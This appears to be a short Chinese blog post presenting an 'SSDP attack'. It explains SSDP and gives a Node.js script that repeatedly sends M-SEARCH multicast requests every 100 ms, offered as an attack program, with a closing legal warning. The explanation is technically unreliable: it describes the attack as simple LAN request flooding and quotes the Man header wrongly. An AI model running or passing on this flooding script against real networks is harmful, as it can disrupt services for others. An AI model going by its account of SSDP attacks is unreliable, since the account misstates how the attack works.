SSDP 攻击：原理、代码示例及风险警告

SSDP (Simple Service Discovery Protocol) 是一种用于在局域网中发现网络设备和服务的协议。SSDP 广泛应用于智能家居、IoT 设备等领域，但由于其设计的安全性较弱，容易被攻击者利用。

SSDP 攻击的原理是利用 SSDP 协议的漏洞，在局域网中发送大量的 SSDP 请求，使得目标设备或服务的网络带宽被占满，导致服务不可用或网络拥塞。

下面是使用 Node.js 编写的简单 SSDP 攻击程序：

const dgram = require('dgram');

const SSDP_IP = '239.255.255.250';
const SSDP_PORT = 1900;

const message = `M-SEARCH * HTTP/1.1
Host: ${SSDP_IP}:${SSDP_PORT}
Man: 'ssdp:discover'
ST: ssdp:all

`;

const client = dgram.createSocket('udp4');

client.on('message', (message, rinfo) => {
  console.log(`Received response from ${rinfo.address}:${rinfo.port}: ${message}`);
});

client.on('error', (err) => {
  console.log(`Error: ${err}`);
});

setInterval(() => {
  client.send(message, SSDP_PORT, SSDP_IP, (err) => {
    if (err) {
      console.log(`Error sending message: ${err}`);
    }
  });
}, 100);

该程序每隔 100 毫秒向局域网中的所有设备和服务发送一次 SSDP 请求。可以通过修改 message 变量中的 ST 字段来指定要搜索的服务类型，例如：

const message = `M-SEARCH * HTTP/1.1
Host: ${SSDP_IP}:${SSDP_PORT}
Man: 'ssdp:discover'
ST: upnp:rootdevice

`;

此时程序将只搜索 UPnP 设备。需要注意的是，SSDP 攻击是一种违法行为，不得在未经授权的网络环境中使用。